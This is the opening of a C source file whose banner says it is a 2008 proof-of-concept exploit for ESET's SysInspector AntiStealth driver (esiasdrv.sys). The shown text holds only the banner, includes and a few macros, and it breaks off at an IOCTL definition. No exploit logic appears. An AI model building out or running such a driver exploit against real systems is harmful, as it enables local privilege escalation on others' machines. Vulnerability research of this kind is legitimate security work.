1 ////////////////////////////////////////////////////////////////////////////////////
2 // +−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+ //
3 // | | //
4 // | ESET, LLC. − http://www.eset.com/ | //
5 // | | //
6 // | Affected Software: | //
7 // | ESET System Analyzer Tool − 1.1.1.0 | //
8 // | | //
9 // | Affected Driver: | //
10 // | Eset SysInspector AntiStealth driver − 3.0.65535.0 − esiasdrv.sys | //
11 // | Proof of Concept Exploit | //
12 // | | //
13 // +−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+ //
14 // | | //
15 // | NT Internals − http://www.ntinternals.org/ | //
16 // | alex ntinternals org | //
17 // | 01 October 2008 | //
18 // | | //
19 // +−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+ //
20 ////////////////////////////////////////////////////////////////////////////////////
21
22 #include <stdio.h>
23 #include <stdlib.h>
24 #include <windows.h>
25
26 #define IMP_VOID __declspec(dllimport) VOID __stdcall
27 #define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall
28
29 #define OBJ_CASE_INSENSITIVE 0x00000040
30 #define FILE_OPEN_IF 0x00000003
31
32 #define IOCTL_